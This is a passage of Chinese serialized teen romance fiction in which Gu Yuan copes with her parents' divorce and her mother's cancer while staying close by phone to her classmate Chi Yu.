走了一段路，顾鸢察觉到有人跟着她，正要把书包甩出去，后面的女警察急忙跑过来说道：“是我是我，你别怕，我看你情绪不好，又一个人出来，所以就跟着你，想等你好一点了再送你回家。”
顾鸢眨了眨眼睛，任由眼泪往下掉，抽噎着说道：“可是我没有家了。”
女警察年纪不大，是刚毕业的大学生，刚才的事她也知道，看到顾鸢一个小姑娘哭成这样，心中的母爱光辉瞬间升起，抬手揩了揩她脸上的眼泪，虚虚抱住她安慰道：“没事没事，都会过去的。”
女警察陪着顾鸢在路边哭了半个小时，等顾鸢终于不哭了，她才拿出手机说道：“不然给你班主任打个电话。”
顾鸢摇头，拿起手机拨通了池学书的电话。
半个小时后，池学书在警局见到了哭的两眼通红的顾鸢，女警察跟她解释了事情的始末，然后让他留下信息。
车上，池学书拿了瓶水给顾鸢，“池家那边的人都睡了，带你去我家。”
顾鸢低低应了声，偏头看向窗外。
池学书看了她一眼，问道：“方便告诉我发生了什么吗，为什么在警局？”
沉默了半晌，顾鸢才慢慢说道：“我爸带了一个女人回家，应该是他的女朋友，被我撞见了，然后我就报警，说有人私闯民宅。”
“噗——”
池学书没忍住笑了一声，“这倒是像你的风格。”
顾鸢扭头看过来，“不觉得我很过分吗？”
“以我对你的了解，你应该告诉过你爸不要带别人去家里。”在顾鸢惊讶的目光下池学书继续气定神闲地说道：“你其实是个很霸道的人，占有欲很强，一旦你认定是自己的东西，就绝不允许别人的染指。”
顾鸢定定地看着池学书。
池学书笑了笑，“你应该不记得了，你小时候有一次同学没有经过你的同意拿了你的玩具，你把人家的脸都挠花了，后来那个同学见到你就跑。”
顾鸢淡然道：“不问自取就是偷。”
池学书点头，“对，你说的没错。我猜如果那房子你能做主，接下来应该是直接卖掉。”
顾鸢拧眉。
他有读心术不成。
“还是那件事，那个玩具你最后要回来了，但是当场就丢到垃圾桶里。所以我猜这房子肯定也是，有你不喜欢的人去了你也就不要了。”池学书轻叹了口气，说道：“浅浅，你是不是已经放弃你爸爸了？”
顾鸢眨了眨眼，没有回答他的问题，而是问道：“我妈妈还在伦敦吗？”
池学书：“……在，你是想问房子的事？”
顾鸢毫不避讳地说道：“你说的对，如果我能做主，我要卖掉它。”
池学书：“OK，我帮你问。”
顾鸢：“谢谢。”
池学书：“……不客气。”
养孩子真麻烦。
-
池学书为了躲避家里的催婚很久之前就搬出来住了，停好车之后两人坐电梯上楼，刚进去，顾鸢的手机就响了。
池学书：“怎么不接？”
顾鸢挂了电话转而给迟瑜发消息。
【怎么了？】
【我妈说在池叔叔的朋友圈里看到你了，你不是回家了吗，出什么事了？】
顾鸢抿了抿唇，简要说道：【家里有人，先回池叔叔家】
聪明如迟瑜已经猜到了什么。
池学书突然出声：“是那个叫迟瑜的吧？”
“你们早恋了？”
“你爸妈知道吗？”
顾鸢猛地抬头，坚定地否认第二个问题：“没有。”
池学书：“放心，我不跟你妈妈说，但你自己也要知道分寸。”
顾鸢：“真的没有。”
池学书轻飘飘地丢下一句话，“早恋而已，不
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耽误学习就没事。”
顾鸢：“真的没有早恋。”
池学书：“暧昧期啊。”
顾鸢：“……”
到了之后，池学书去收拾家里的客房，顾鸢坐在沙发上回迟瑜的消息。
【我真的没事，你别担心了】
电话又打了过来，顾鸢起身去阳台，确定把阳台的门关好，顾鸢才接通电话。
迟瑜的声音立马传过来，“你到池叔叔家了吗？”
顾鸢垂眸看向窗外城市的夜景，眼眶逐渐变红，“刚到。”
迟瑜愣了两秒，试探着问：“哭了？”
“你才哭了。”顾鸢眨了眨，说道：“就是有点难受，睡一觉等明天就好了。”
迟瑜坐在书桌前，手里的笔在纸上写着顾鸢的名字，“那等你要睡觉了告诉我。”
顾鸢愣了片刻，“为什么是等我要睡的时候告诉你？”
“当然是给你讲睡前故事了。”迟瑜轻笑一声，“再要不然我给你背一篇古文？”
顾鸢噗嗤一声笑了出来，“背古文，你是想催眠吗？”
“那要不我给你唱歌？”迟瑜又问。
顾鸢的手指没什么规律地点在栏杆上，唇角微微勾起，“我还不知道你会唱歌？”
“那你现在知道了。”迟瑜停顿了两秒，说道：“房间还没收拾好吗？”
顾鸢转身，池学书倚墙站着，见她回头了，抬手指了指客房的方向，顾鸢打开阳台的门出去。
池学书说道：“有需要再叫我，但我觉得你应该早点休息，明天还要去学校。”
顾鸢点头，“好的，谢谢池叔叔。”
池学书摆摆手，顾鸢走到门口的时候突然转身提醒他，“池叔叔，别忘了问我妈妈房子的事，还有津湾那边也帮忙问一问。”
池学书：“……你还想把别墅卖了不成？”
顾鸢一本正紧道：“没有啊，就是顺便帮我问问。”
池学书：“……”
还好他没结婚没孩子，不然头发都能被气没。
-
刚才电话并没有关断，迟瑜自然听到了卖房子的事。
所以是家里进去了不喜欢的人就要把房子卖掉。
迟瑜记得顾鸢的生日是6月25号，巨蟹座。
对巨蟹座来说，占有欲不是争取，而是放弃。
不管是亲情还是爱情，都是拿得起放得下，而且绝不会回头。
迟瑜之前从不信这些，还是偶然间听到顾鸢和祁蓉聊天说到星座，迟瑜这才专门上网查了这些。
迟瑜微不可察地叹了口气，看来顾鸢和顾教授之间的隔阂恐怕是难消掉了。
迟瑜想到以后两人在一起，还凑不齐一个爸爸，就挺无奈的。
不知不觉，迟瑜就想远了。
顾鸢洗漱完回到床上才发现电话竟然没有关断，她试探着叫了声，“迟瑜？”
对面立马说道：“回来了。”
“你一直等着吗？”男生低低的嗓音隔着耳机传出来，像是带着一股电流进入耳朵，顾鸢捏着手机，心底微动，“你可以挂了等会儿再打。”
“我在看书，顺便等你回来，这两者并不影响。”迟瑜看着那张写满了顾鸢名字的A4纸，唇角扬起笑意，“准备好了，给你唱歌。”
顾鸢把灯关掉，只留了一盏床头壁灯，昏黄的灯线落在枕头旁，顾鸢轻轻地嗯了一声。
迟瑜的嗓音很好听，低低的，有点哑，还带了几分磁性，隔着耳机传过来，顾鸢慢慢眯上了眼睛。
迟瑜唱的是一首韩语歌，也是顾鸢歌单里循环播放的。
Staywithme
我闭上眼睛浮现的就是你的双眸，你是我的命运，我注定为你倾倒……
……
等迟瑜唱完，轻轻叫了声顾鸢的名字，没有应声，迟瑜就知道她睡着了。
“顾鸢，你并不孤单，不管发生什么，我会一直陪着你。”
“迟瑜会永远陪着顾鸢，决不食言。”
63. 荣幸
“你妈妈说了，津湾那边和北岸这边的房子都在她的名下，这件事她会处理好，让你不用分心，好好复习就行。”
池学书说完按下电梯键，“你不会和你妈妈也在闹别扭吧？因为他们离婚隐瞒你的事？”
顾鸢神色淡淡地靠在电梯里，“我只是不知道要怎么和她说话，我也没那么不懂事，既然婚姻不合就应该分开。”
池学书欣慰地点了点脑袋，“看来你也没那么无理取闹。”
顾鸢斜睨他一眼，池学书闭上了嘴巴。
到学校之后，临下车前池学书叫住顾鸢，“最近这几天我会呆在宁宜，有什么事就找我。”
“好的，谢谢池叔叔。”
顾鸢下了车背上书包，重重地舒了口气，抬脚朝学校走去。
刚到校门口，顾鸢就看到了迟瑜，“好巧啊，你每天也是这个时间到学校吗？”
迟瑜仔细观察着她的眼睛，见没有红肿才松了口气，他回答：“对，就这个时间。你吃早餐没有？”
顾鸢摇了摇头。
食堂
顾鸢心不在焉地喝着粥，连周围多了一个人都没有发现。
陈哲明伸手在顾鸢眼前挥了挥，“在想什么？”
顾鸢以为是迟瑜，头也没抬直接就说道：“你。”
须臾，陈哲明又出声，“你在想……”我
“对了，你昨天……”顾鸢抬头才发现对面坐的是陈哲明，“怎么是你？”
“怎么不能是我吗？”陈哲明垂着眉，语气有些低落，“你以为是谁？”
“迟瑜？”
顾鸢立马正了神色，说道：“不是那个意思，我刚才在想事情，所以没注意到对面换了人，你知道他去哪里了吗？”
“没有，我过来的时候就你一个人，我看你心不在焉的，想问你是不是需要帮忙？”陈哲明又说：“我真的很羡慕。”
“羡慕什么？”顾鸢疑惑。
羡慕你们的关系可以这么好。
陈哲明笑了下，神色有些落寞地说道：“羡慕你们有可以倾诉的朋友。”
顾鸢抿唇，想起言酥说过陈哲明的妈妈对他管的很严，但没想到连他交朋友都要管。
顾鸢正要开口，陈哲明自顾自地说起来，“都说父母之爱子则为之计深远，可是我的家人让我感觉到窒息，她甚至在我的房间里装了监控，我感觉自己没有一点尊严。”
“在你的房间里装监控？”顾鸢大为吃惊，“这确实有点过分了。”
陈哲明不在意地继续说道：“又岂止是这些，就连我每天睡多长时间的觉，喝多少升的水，这些都有明确的规定。”
顾鸢皱着眉，低声问：“那你没有反坑过吗？”
“怎么没有。”陈哲明放在桌子上的手指绞在一起，说道：“我反抗过，可我一反抗我妈就会朝我跪下，说她这些年的不容易，说她做这些都是为了我，她甚至还……”
“还什么？”
“还要寻死。”
顾鸢已经不知道要说什么了，有这么窒息的家人，长久下来自己的精神也要不正常了吧，怪不得同学三年，陈哲明极少主动和人交谈，不管做什么都独来独往。
“或许，你有没有带你妈妈去看心理医生，一个人的行为不会没有缘故的变成这样，是不是她有什么执念？”
陈哲明低下头，双手不安地搅动着，良久都没有说话。
顾鸢明白他大概是想到缘由了。
“如果需要帮忙的话，你就说。”顾鸢起身拿上自己和迟瑜的书包，“我先走了。”
门口，迟瑜见到顾鸢出来顺手接过自己的书包，蓦地轻嗤了声，“我就离开一会儿，位置就被别人坐了。”
顾鸢讶然，“食堂的座位也没有规定是谁的，再说你什么时候走的我竟然没发现。”
迟瑜紧紧地盯着她看了两秒，猛地扭头大步往教学楼的方向走。
“你走那么快干什么？”顾鸢小跑几步跟上他，“我还没跟你说谢谢呢。”
迟瑜冷酷道：“快点回教室坐我的座位。”
这会儿到校的人正多，顾鸢没走几步就根本上了，索性站在原地打断等人走一些再上去。
迟瑜放慢了脚步，结果也没看到顾鸢跟上来，转身一看，顾鸢正站在台阶下的花坛旁，神色平静地看着他。
迟瑜：“……”
靠！
迟瑜又退了回去，顾鸢和班里的同学打了招呼，然后才看向迟瑜，唇角噙着笑问他，“你怎么又回来了？”
迟瑜伸手拿下她的书包提在手上，垂着眸似笑非笑地看着她说道：“当然是怕你走得太慢迟到了，帮你拎书包。”
顾鸢扬唇，“谢谢。”
“不用，为顾姐拿书包是我的荣幸。”迟瑜继续阴阳怪气地说道：“谁让顾姐你身娇体弱呢。”
顾鸢：“你……”
正好路过并且听到这句话的曹军平一巴掌拍在迟瑜手臂上，低斥道：“贫什么嘴，还不快回教室。”
顾鸢问好，“曹老师。”
曹军平笑着点头，“欸，快回教室吧，等会儿可能要下雨了。”
顾鸢：“好的。”
迟瑜：“……”
-
周末，北岸的房子已经专卖掉了，顾鸢收拾东西搬回了别墅，正好碰到了顾绍辉在搬自己的东西。
顾鸢站在楼梯口，看着顾绍辉的东西一箱子接着一箱子被抬出去，手指死死地扣在栏杆上。
许是顾绍辉本来就把自己的东西转移了一些，没一会儿搬家公司的人就收拾好了。
顾绍辉从书房出来，在楼梯口和顾鸢碰上，仅仅是冷冷地看了顾鸢一眼，顾绍辉就下了楼。
池砚舟正要上楼，和下楼的顾绍辉撞上，池砚舟礼貌问好，“顾叔叔。”
顾绍辉淡淡应了声，而后头也不回地离开。
顾鸢看着他决绝的背影，一瞬间想起了儿时顾绍辉带着自己玩耍的场景。原来时间真的能改变这么多，曾经和睦的父女竟有一日会变成这样。
顾鸢闭上眼睛，深吸了一口气，然后下楼。
池砚舟是从池学书那里知道了顾鸢家里的事，刚到家里就跑过来了。
“浅浅，你还好吗？”
顾鸢走到沙发前坐下，“没什么，我能消化。”抿了口水，顾鸢才问他，“是池叔叔告诉你的？”
池砚舟点头，“无意间撞到二叔和我爸说话的时候听到的，真没想到顾叔叔和姜阿姨竟然……，浅浅，你真打算和顾叔叔不往来了吗？”
顾鸢轻笑一声，“大概吧，他很快就会有新的家庭，对他而言有我没我都一样。”
池砚舟忙道：“你千万别这么想，顾叔叔那么疼你，你们现在就是在气头上，等过段时间自然就和好了。”
顾鸢没说什么，池砚舟呆了一会儿就走了。
偌大的别墅里，安静到连鸟的叫声都没有，顾鸢躺在沙发上，看着头顶精美的吊灯神色有些恍惚，伸出去的胳膊突然被什么东西硌了一下，顾鸢起身，看到沙发上放了一串钥匙。
顾鸢猜想大概是池砚舟不小心落下的。
因为顾鸢常去池家的原因，池家的佣人都认识她，直接就让她进去了。
“真是可怜了那丫头，她爸有了新老婆，她妈又生了病，砚舟你以后可要多照顾她一些。”
这是池砚舟爸爸的池昌华的声音。
池砚舟反驳道
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：“爸，顾叔叔不会不管浅浅，姜阿姨的病也肯定会好。”
池昌华说道：“姜之遥能不能好由医生说了算，但以我对的了解，顾绍辉肯定不会再管顾鸢。”
“爸！”
“你以为你姜阿姨为什么要离婚，那是因为顾绍辉他……”
池砚舟扭头的时候看到了门口的顾鸢，喃喃道：“浅浅……”
池昌华也止住了话，连忙说道：“浅浅来了，你们聊，叔叔还有事先走了。”
顾鸢叫住他，“池叔叔，您刚才说我爸怎么了？还有我妈妈的病是什么意思？”
池昌华：“浅浅，是池叔叔多嘴了，你刚才什么也没听见，砚舟你和浅浅说说话，爸去公司了。”
池昌华一走，顾鸢双腿发软差点跌下去，池砚舟忙扶住她，“浅浅，你都听到了？”
顾鸢抓住他的胳膊，不可置信地说道：“连你也瞒着我？”
“抱歉，是我无意间听到我爸和二叔说姜阿姨之所以一直在伦敦就是在医院接受治疗。”
“二叔今天早上就回伦敦了，具体的事情我也不清楚。”
-
在去机场的路上，顾鸢接到了迟瑜的电话。
“怎么了？”
迟瑜听出了她声音不对劲，忙问：“你在哪，我马上过来。”
顾鸢捏紧了手机，说：“没什么，我爸把他的东西搬走了心里有点难受。”
“在别墅？我过来找你。”迟瑜说完就几步走到玄关处换鞋。
顾鸢忙说：“你别过来，我不在别墅。”
迟瑜关上门边下楼边问：“那你在哪儿，顾鸢，有什么事你可以跟我说，还是你不信任我。”
顾鸢眼角眼泪大颗往下掉，司机看了就多问了一句，“小姑娘，是不是和家人吵架了？”
听到陌生男人的声音，迟瑜的嗓音也提高了些，“顾鸢，你把定位给我，我马上就过来。”
顾鸢擦了擦眼泪，说道：“我在去机场的路上。”
司机一听这还了得，忙说：“小姑娘，吵架归吵架，你不能离家出走啊，太危险了。”
顾鸢解释道：“不是的，我是去机场找人，我们只是很久没见了，我有点激动。”
司机半信半疑，“真的？”
顾鸢：“要是不信您也可以等见到他再走。”
司机松了口气，“我也是不敢不小心，你们这些小娃娃，和家人闹点别扭就离家出走，这一旦出了什么事我们出租车司机也要被问责。”
顾鸢无心再说什么，电话并没有挂断，顾鸢到的时候，迟瑜已经到了，司机一看真是找人的才放心。
迟瑜牵着顾鸢到人少的地方，抬手擦着她脸上未干的眼泪，温声道：“出什么事了，还要来机场。”
……
“我应该早点发现的，都怪我心里有气才没发现她的反常。”顾鸢垂着脑袋抽噎，“我一定要去看看才行，他们都在瞒我，就算我问了也不一定会说实话。”
迟瑜又递了张纸给她，安抚道：“别怕，你妈妈不会有事的。”
“可我害怕，我怕她……”
“一定不会，相信我，一定不会。”迟瑜轻轻拍着她的后背，温声安抚着，“要是真的有事，池叔叔肯定会告诉你，他既然什么都没说就说明还没到不可控的地步。”
“可是他今天突然回伦敦了。”
“是你这边的事解决了他才走的，你不是说他本来就常年呆在国外？”
顾鸢这会儿脑子很乱，再加上哭的太厉害，脑袋有些晕，还有些缺氧。
等缓了过来，顾鸢打开手机。
“要打电话吗？”迟瑜问。
顾鸢：“我不知道。”
64. 跑了
顾鸢是在到伦敦之后才给姜煦庭打的电话。
“你怎么突然来伦敦了？”
顾鸢这个举动打的姜煦庭措手不及，去接人的路上，各种猜想都闪过一遍。
顾鸢本想问个清楚，可话到嘴边就拐了个弯，“想来就来了。”
姜煦庭装作镇定地说道：“你不是应该在学校吗，请假了？”
顾鸢淡淡地嗯了一声，显然不愿意多说。
等到了家里，姜煦庭先把顾鸢带到她的房间，“你先休息一会儿，我看厨房做了什么，吃点东西再休息。”
顾鸢点了点头，吃了饭回到房间睡下，顾鸢听到姜煦庭离开的动静立马从楼上下来。
顾鸢一路上跟着姜煦庭，果然车开到了一家私人医院。
姜煦庭快步走到姜之遥的病房，韩淑怡正在陪她说话，见到儿子进来吃了一惊，“你怎么来了，不是下午学校有事？”
姜煦庭掏出手机，“我给您和姑姑打电话没有接，所以只能来医院告诉你们，顾鸢来了。”
姜之遥怔住，韩淑怡立马站了起来，“什么，来哪里了？”
“在家里休息，姑姑在医院的事可能瞒不住了。”姜煦庭说完手机恰好又响了起来，“我去接个电话。”
姜煦庭刚出病房的门，就看到顾鸢站在门口。
楼下，顾鸢坐在长椅上，垂着脑袋听姜煦庭说话。
姜之遥早就患了肝癌，正是和顾绍辉离婚之前检查出来的，离婚之后姜之遥就去做了手术，可是没想到又复发了。
“顾鸢，姑姑的情况没有那么不乐观，我妈妈联系了她的朋友制定了最佳的治疗方案，会没事的。”
顾鸢没说话，而是侧着身把一条胳膊搭在长椅上脑袋埋在里面，死死地咬住唇没有哭出声。
姜煦庭正挠着后脑勺不知道要怎么安慰她，韩淑怡走过来拍了下他的肩膀。
“妈，她……”
韩淑怡放轻声音，“你先走吧，我来说。”
姜煦庭点了点脑袋，“好。”
顾鸢平复好情绪，韩淑怡把姜之遥的情况事无巨细地都跟她讲了。
姜之遥的情况并不乐观，顾鸢躺在床上，眼睛盯着头顶怎么也睡不着。
-
晚饭时间，迟瑜给顾鸢打去电话。
顾鸢刚睡着没多久，铃声响了有一会儿她才迷迷糊糊地接通。
“你好，哪位？”
迟瑜倚在天台的栏杆上，眼眸微暗，“我，还没起吗？”
顾鸢睁开双眼，看向手机才确定对面是谁，“还没有，昨晚失眠了。”
迟瑜垂下脑袋，抿唇道：“阿姨怎么样？”
“还好。”顾鸢坐了起来靠着床头，因为才睡下没多久眼睛有些干，索性继续闭上，“我可能要待几天再回来。”
“嗯，那你好好休息。”
顾鸢低低应了声，又慢慢睡过去。
良久，迟瑜试探着叫她，“顾鸢？”
挂了电话，迟瑜把手机揣在兜里，抬眸看向远处被映照的发红的天幕，树影晃动，显得有几分清凉。
凌熙诺站在门口看向迟瑜高瘦落拓的背影，手里的书被她紧紧攥着，指尖因为用力而泛白。
须臾，迟瑜转身，看到门口站着一个人时，仅仅是愣了一瞬，便收回了视线继续往出走。
凌熙诺快他一步挡住路。
迟瑜蹙眉，不解地看向她。
凌熙诺抿了抿唇，问道：“你讨厌我？”
迟瑜直言，“没有。”
“那就是喜欢。”凌熙诺立马扬起笑脸。
“并不是，对我来说，只分我喜欢的人，和别人。”迟瑜说完，又道：“麻烦让一让，挡路了。”
凌熙诺并不死心，继续问道：“你喜欢顾鸢？”
“是。”迟瑜毫不犹豫地回答，末了又加了一句，“很喜欢。”
凌熙诺慢慢挪开，迟瑜刚走出去，她还是不死心地又说道：“可是顾鸢会出国，你们不会在一起的，你喜欢她不会有结果。”
迟瑜的下颚紧绷着，冷冷地看向凌熙诺，一字一顿地说道：“异国算什么，异世我也喜欢。”
凌熙诺手里的书啪地掉在地上，不可置信道：“你疯了？”
迟瑜勾了勾唇，缓慢说道：“对，就是疯了，以后离我这个疯子远一点，免得误伤你。”
说罢，迟瑜大步离开。
凌熙诺站在原地，久久没有动弹。
-
回到教室，肖毅发现了迟瑜周身的低气压，吓得都没敢坐到前面去，放学之后，江皓阳跑了上来叫上了徐百川和肖毅，加上迟瑜四个人去外面吃宵夜。
迟瑜坐在靠里的位置，拿着手机点开又关上，双眸空洞不知道在想什么。
徐百川把烤串往他面前推了推，说道：“你想什么呢，心不在焉的。”
迟瑜过了几秒钟才反应过来，抬头往后靠在椅背上，嗓音低沉，“想一道没解出来的题目。”
江皓阳：“你够了啊，都放学了还不消停，好歹让你的脑子休息一会儿行吗？”
肖毅：“这你就不懂了，学霸跟我们是不一样的。”
江皓阳：“学霸？”
徐百川笑着拍了拍江皓阳的肩膀，“全级第二还不是学霸？”
江皓阳：“对哦，迟哥现在不一样了，蜕变了。”
肖毅胳膊肘碰了下江皓阳，朝他挤了挤眼睛，然后看向迟瑜。
徐百川看迟瑜又开始发呆了，伸手在他面前挥了挥，“我看你不是在想题，想人还差不多。”
迟瑜伸手拿了一罐啤酒打开仰头就喝。
肖毅喃喃道：“未成年不能喝酒。”
江皓阳和徐百川看傻子一样看他。
肖毅：对哦，他师父可以喝。
肖毅和江皓阳家里打电话叫了就先回了，徐百川陪着迟瑜一直待到老板关门。
徐百川看他走的四平八稳地，作势要去扶他的手收了回来。
“真有事？严重吗？”
迟瑜突然停了下来，扭头眼睛紧紧地盯着他。
徐百川：“能说？”
“顾鸢可能要出国。”迟瑜说完，又往前走起来。
徐百川沉默半晌，抬手拍了拍迟瑜的肩膀，“可能而已，又没确定。”
迟瑜蓦地低头笑了一声，“行了你回去吧，我到了。”
“这才哪儿就到了。”徐百川说着拽住他的胳膊，“你又没问清楚怎么知道人家顾鸢是怎么想的，我认识的迟瑜可没这么胆小。”
迟瑜抽出胳膊，“胆小？”
“就当我胆小吧。”
徐百川还想再说，却又不知道还能说什么。
-
早上起来之后，顾鸢去了医院，在病房里见到姜之遥，顾鸢再也忍不住情绪都爆发出来。
姜之遥安慰着她，“我没事，医生说了，治愈的可能性很大。”
“我请假在这里陪你。”顾鸢想了半晚上做了这个决定，外公已经离开了，她不能再让自己有留遗憾的可能。
姜之遥怔愣住，须臾才说道：“你想好了？”
顾鸢肯定道：“您帮我跟曹老师请假吧。”
姜之遥点头，“好。”
-
周一的时候，曹军平说了顾鸢请假回家复习的事。紧接着陈哲明也请假了，说要上语言课准备出国。
不少人都以为顾鸢也在准备出国。
紧张的氛围笼罩在整个校园，寂静的夜色下，教室里安静的只剩
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下笔触划过纸张的声音。
顾鸢的桌子被收拾干净，但始终没有人坐上来。
因为顾鸢要留在美国，姜温华和韩淑怡都怕耽误了顾鸢复习，找老师这个重担就落在了姜煦庭身上。
姜煦庭找了一圈，最后锁定在参加了国内高考且成绩优异又让人放心的学弟来辅导。
除此之外，姜煦庭也向顾鸢说了申请美国学校的事情，顾鸢一直没有给肯定的答复，姜煦庭也不好逼她。
上完课，顾鸢去医院看姜之遥，或许是因为母女俩太久没有好好相处的原因，好几次都不知道要说什么。
姜之遥只好尝试找话题，“你来美国的事，你爸爸知道吗？”
顾鸢正在削苹果，听到这话一个没注意手指受了伤，瞬间血冒了出来。
恰好进来的韩淑怡看到，忙拉起她去处理。
等再次回到病房，顾鸢沉默地坐在沙发上。
姜之遥问：“你们吵架了？”
顾鸢点了点头，“是，池叔叔应该跟你说了。”
姜之遥叹了口气，“是我错了，我就不应该把你交给他。”
“因为你发现自己生病了，所以就我把我的监护权给爸爸了是吗？”
“是。”
顾鸢无所谓道：“没关系，等我成年了就不需要监护人了。”
姜之遥本打算说些什么，话到嘴边就止住了。
她确实有私心，当初答应顾鸢跟着顾绍辉，一是她能感觉到顾鸢更喜欢他，二是她查出肝癌，并不确定是不是良性。
可是听池学书说完学校的事和半夜去警局接顾鸢的事后，她就想把顾鸢留在身边，如果她这关过不去，那就让她多看看女儿。
姜之遥睡着之后，顾鸢去楼下接电话，边秣知道顾鸢来了美国，要求一定要和她见一面。
姜煦庭把人送到见面地点，然后去了对面的花店。
姐妹俩太久没见，边秣一上去就给了顾鸢一个熊抱。
“顾浅浅，好久不见你长高了欸。”
顾鸢被勒地喘不过气，忙拉下她的胳膊，“你也是。”
边秣支吾着说道：“对不起啊，干妈生病的是都不让我告诉你，我也就没说。”
顾鸢装作生气的样子双手环抱。
边秣：“好啦好啦，你说要怎么样，我绝不反抗。”
“我还没想好，等以后再说。”顾鸢说完手机突然响了起来，看到来电显示，顾鸢没有立即接通。
边秣：“怎么不接？谁的电话？”
顾鸢起身，“我出去一下。”
在电话要挂断的一秒前，顾鸢接通，过了好一会儿，迟瑜的声音才传出来，“在忙吗？”
顾鸢脚尖点着地，轻轻嗯了一声，“你怎么还没休息？”
房间的灯关了，迟瑜坐在书桌前，黑暗中看不清他的神色，只有嗓音压得很低，“还不困，你怎么样？”
“还好。”顾鸢说完，又问他，“复习压力大吗？”
“有点，能克服。”
书桌上有一个类似笔筒的东西，迟瑜打开它底部的按钮，瞬间灯线从筒壁的小孔里照出来，落在墙上变成一闪又一闪的星星。
顾鸢捏着手机，尝试着找出新的话题，“迟瑜，我……”
“稍等，窗外好像有只猫。”迟瑜打断了她的话，把手机放在桌子上打开窗户。
良久，顾鸢试探着问：“什么猫，抓到了吗？”
迟瑜把窗户关上坐回去，说道：“没有，跑了。”
哪有什么猫，只有一望无际的黑夜。
又是安静了好一会儿，顾鸢说道：“要是没有事就先挂了，你也不要总熬夜。”
迟瑜沉沉地嗯了一声，电话关断后，迟瑜找到灯筒的按钮关掉。
65. 上火
顾鸢进去之后，边秣就眯着眼睛打量她，“谁呀，接电话还要避着我。”
“你下午不是还有课吗？再不走要迟到了。”顾鸢帮她拿起包，挽着她的胳膊往外走，“等下次了我们再好好聊。”
边秣站着不动，“你有问题顾浅浅，心虚了呀，开始转移话题了，我才不会上当，今天要是不说清楚，你就陪我去上课。”
顾鸢：“等下次我再告诉你，再不走你真要迟到了。”
边秣将信将疑，“真的？”
顾鸢重重点头，“真的。”
-
接下来一个月的时间顾鸢的生活除了去医院陪姜之遥就是上课，慢慢的，和迟瑜打电话的次数也开始减少。
这天顾鸢在医院陪姜之遥，突然见到了一个熟人。
墨熠把花放到柜子上，有些局促地站在病床前，“我来这边谈了一个合作，顺便来看看姜总，没想到顾鸢同学在这儿。”
顾鸢起身朝他问好，“墨叔叔，您坐，我出去打个电话。”
“哎哎，好。”墨熠连连点头。
顾鸢走到楼下花园，指腹在一个名字上停下，刚要点下去，另一个人的名字冒了出来。
“喂，秣秣。”
“顾浅浅，我今天休息，这就来找你。”
顾鸢回到病房跟姜之遥说了一声，出来的时候墨熠还在频频地朝她点头。
边秣性格好动，拉着顾鸢逛了一个下午。
“现在可以告诉我了吧，上次打电话的是谁？”边秣说道：“不许说谎，也不许找理由搪塞，我一定要知道，你上次可是答应好了。”
顾鸢喝了口水，说道：“是我的同桌，也是好朋友。”
边秣：“男的？”
顾鸢点头。
边秣的视线开始意味深长，上下打量着顾鸢，缓缓说道：“我就知道，我就说你怎么不长给我打电话，原来是有了新欢忘了旧爱啊。”
“你说什么呢？”顾鸢脸颊腾地一热，迅速泛起一层薄红，“只是朋友而已。”
“哦~”边秣拖着长长的尾音，“我才不信，普通朋友你脸红什么？”
“那这样，我再问一个问题，他的名字是几个字？”
顾鸢伸出两根手指。
边秣点点脑袋，继续问：“身高多少？”
顾鸢并不确定，“大概187左右？”
边秣眼睛一亮，“单眼皮双眼皮？”
顾鸢：“内双。”
边秣：“什么眼睛？”
顾鸢：“桃花眼。”
边秣：“穿衣风格？”
顾鸢：“黑色，大多是休闲款。”
边秣眼睛更亮了，“喜欢他吗？”
顾鸢：“喜欢。”
……
边秣啪地一巴掌拍在桌子上，“187的桃花眼酷帅风，原来你喜欢这款。”
顾鸢：“你套路我？”
边秣摆手笑笑，“哎呀，不然你也不会这么老实的交待呀。”
顾鸢知道边秣是打破沙锅问到底的性格，连忙转移了话题，“还没说你呢，你那天突然发了一个朋友圈，没几秒钟又删了，怎么回事？”
边秣有些不自然地撇开脸，语气也有些虚，“没有啊，你看错了。”
顾鸢眯了眯眼，胳膊作势抬了起来，“不说我可要动手了。”
边秣忙起身躲开，“真的没有，你要相信我。”
顾鸢立马站起来，手已经伸了出去，“我才不信，老实交代。”
-
翌日顾鸢醒的早，看着屏幕上的名字良久，电话终于拨了过去，对面几乎是一秒接通。
许是因为有段时间没有联系，两人都没有立马出声，顾鸢的手指微微收缩，眼睫下垂。
还是迟瑜先开口，嗓音清冽如清风袭来，沁人心脾，“这么早就醒了？”
顾鸢盘腿坐在落地窗前看向楼下的舅舅姜温华练太极，嗓音还带着几分早醒后的慵懒，“醒了，你在学校吗？”
迟瑜往后一靠，电脑的屏幕印在脸上，窗外偶有蝉鸣响起，安静地办公室里有些许凄冷，“在帮老曹录信息，这不是接上你的班了。”
顾鸢轻笑，“辛苦啦，我寄了东西给你，地址填的学校，应该这两天就到了。”
听到这话的迟瑜立马坐直，言辞中是毫不掩饰的雀跃，“什么东西？就给我一个人的吗？”
顾鸢哑然，“你要是想分享给别人我也没意见。”
“不会。”迟瑜立即说道：“给我了就是我的。”
顾鸢的手里拿着南瓜吊坠，唇角微微上扬，“你、最近很忙吗？”
迟瑜抿唇，长睫垂下掩住眼眸，嗓音低低沉沉的，“没有。”
顾鸢眸光微淡，指腹摩擦着挂坠，“不出意外的话三模考试我应该会回来。”
闻言迟瑜的唇角瞬间扬起，“好。”
顾鸢看着楼下的姜温华打完了太极往回走，伊瞳屁颠屁颠地跟在姜温华身后，尾巴不停地摆着，也不知道在开心什么。
“我都一个月不在学校了，有没有发生什么有趣的事？”
迟瑜想了几秒说道：“老曹最近上火了，说是被我们班学生气的，但我觉得是他枸杞红枣水喝多了。”
顾鸢噗嗤一声笑了出来，“怎么气的，余荔不会不管啊。”
“趁着老曹和余荔都不在，不知道是谁用教室的多媒体放了小猪佩奇，正看得津津有味呢，结果被教导主任发现了，周一的时候当典型全校批评了。”
“老曹岂不是要被气吐血了。”顾鸢几步走到床上趴着听他说话，“不过那位英雄究竟是谁，胆子也太大了吧。”
迟瑜抿了口水笑道：“你猜？”
顾鸢：“……不会是你吧？”
迟瑜：“我作为你的……”
叩叩叩——
“浅浅，下楼吃早餐了。”
顾鸢朝外应了一声，“马上就来。”转而又问迟瑜，“什么？”
迟瑜反问：“你觉得是什么？”
顾鸢轻咬着下唇，道：“好朋友？”
“不止吧。”迟瑜拖长了尾音，“我不是还是你的……”
叩叩叩——
“顾鸢，准备上课了。”
“来了。”顾鸢从床上爬起来，对电话那头的迟瑜说道：“我要起床了，等会儿再打给你。”
“好。”迟瑜嗓音轻快的应声。
